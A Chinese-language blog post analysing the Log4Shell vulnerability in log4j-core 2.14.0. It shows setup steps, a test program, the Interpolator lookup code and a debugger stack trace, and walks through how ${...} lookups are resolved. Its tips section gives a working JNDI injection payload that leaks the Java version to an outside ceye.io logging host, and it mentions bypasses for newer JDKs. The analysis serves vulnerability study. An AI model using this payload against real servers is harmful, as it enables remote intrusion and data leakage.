0%

log4jshell-2.14.0漏洞分析

log4jshell-2.14.0漏洞分析

这篇文章分析一下log4jshell的漏洞代码层面产生的原因。

环境准备

  • java version “1.8.0_152”
  • idea 2023.1.3
  • log4j-core 2.14.0

手工创建环境过程:

  • 首先在pom.xml里面添加依赖

    1
    2
    3
    4
    5
    <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
    </dependency>
  • 第二步在resources文件夹下添加log4j2.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?xml version="1.0" encoding="UTF-8"?>

    <configuration status="error">
    <appenders>
    <!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
    <Console name="Console" target="SYSTEM_OUT" >
    <!-- 配置Console的模式布局-->
    <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
    </Console>
    </appenders>
    <loggers>
    <root level="error">
    <appender-ref ref="Console"/>
    </root>
    </loggers>
    </configuration>
  • 第三步我们写一个简单的验证程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
* author: f19t
* Date: 2023/3/16 18:43
*/
public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
String a="${java:version}";
logger.error(a);
}
}

运行这个Test将会得到

1
2023-03-17 15:12:04.362 [main] ERROR org.example.Test - Java version 1.8.0_152

漏洞分析

漏洞产生的位置在org.apache.logging.log4j.core.lookup.Interpolator.lookup()方法。此方法存在一个strLookupMap,map内部的Key和value是我们利用的关键。里面有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public Interpolator(final Map<String, String> properties){
this.strLookupMap = new HashMap();
this.defaultLookup = new MapLookup((Map)(properties == null ? new HashMap() : properties));
this.strLookupMap.put("log4j", new Log4jLookup());
this.strLookupMap.put("sys", new SystemPropertiesLookup());
this.strLookupMap.put("env", new EnvironmentLookup());
this.strLookupMap.put("main", MainMapLookup.MAIN_SINGLETON);
this.strLookupMap.put("marker", new MarkerLookup());
this.strLookupMap.put("java", new JavaLookup());
this.strLookupMap.put("lower", new LowerLookup());
this.strLookupMap.put("upper", new UpperLookup());

try {
this.strLookupMap.put("jndi", Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class));
} catch (Exception | LinkageError var9) {
this.handleError("jndi", var9);
}

try {
this.strLookupMap.put("jvmrunargs", Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JmxRuntimeInputArgumentsLookup", StrLookup.class));
} catch (Exception | LinkageError var8) {
this.handleError("jvmrunargs", var8);
}

this.strLookupMap.put("date", new DateLookup());
this.strLookupMap.put("ctx", new ContextMapLookup());
if (Constants.IS_WEB_APP) {
try {
this.strLookupMap.put("web", Loader.newCheckedInstanceOf("org.apache.logging.log4j.web.WebLookup", StrLookup.class));
} catch (Exception var7) {
this.handleError("web", var7);
}
} else {
LOGGER.debug("Not in a ServletContext environment, thus not loading WebLookup plugin.");
}

try {
this.strLookupMap.put("docker", Loader.newCheckedInstanceOf("org.apache.logging.log4j.docker.DockerLookup", StrLookup.class));
} catch (Exception var6) {
this.handleError("docker", var6);
}

try {
this.strLookupMap.put("spring", Loader.newCheckedInstanceOf("org.apache.logging.log4j.spring.cloud.config.client.SpringLookup", StrLookup.class));
} catch (Exception var5) {
this.handleError("spring", var5);
}

try {
this.strLookupMap.put("kubernetes", Loader.newCheckedInstanceOf("org.apache.logging.log4j.kubernetes.KubernetesLookup", StrLookup.class));
} catch (Exception var3) {
this.handleError("kubernetes", var3);
} catch (NoClassDefFoundError var4) {
this.handleError("kubernetes", var4);
}

}

我们在lookup方法的漏洞触发的位置位置下断点,我们跟进分析一下。

运行Test,断点位置的堆栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:14, Test (org.example)

我们一步一步的分析,首先调用logger.error(a);,error又会调用logIfEnabled

logIfEnabled又调用isEnabled判断日志是否支持记录

isEnabled又调用filter,这里的filter其实就是我们之前写的log4j2.xml的配置文件。

判断可以记录之后调用logMessage

中间的过程就不分析了,一直到format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)

首先我看先看一下这个format方法里面的offset
他其实就是获取我们log4j2.xml里面的日志输出前缀,然后把msg里面的messageFormat加到workingBuilder里面,下面的for循环是判断字符串里面是否存在${,如果存在那么去substring获取这个范围的字符串,其实就是获取用户输入的字符串。

这里获取到用户输入的value,然后调用replace

replace又去调用substitute

接着substitute又去调用substitute

调用substitute之后获取到了varName,调用resolveVariable

resolveVariable再进行调用lookup

lookup里面将prefix、name取出,然后调用lookup这个map,这个map为之前介绍的strLookupMap。

因为我们写的调用为${java:version},所以他会走到JavaLookup这个里面的lookup里面。

之后运行结束得到结果:

tips

支持递归

substitute里面通过while循环去递归匹配查询${,所以我们可以写入如下payload:

1
String a="${jndi:ldap://${java:version}.xxxxx.ceye.io}";

高版本jndi

jndi的ldap默认支持8版本191版本之前的,要想突破高版本的现在,目前我了解了两种方法可以绕过高版本限制:

  • 通过反序列化去绕过
  • 使用目标本地工厂类

因为这两个点内容也很多,后面文章再补充这方面的知识。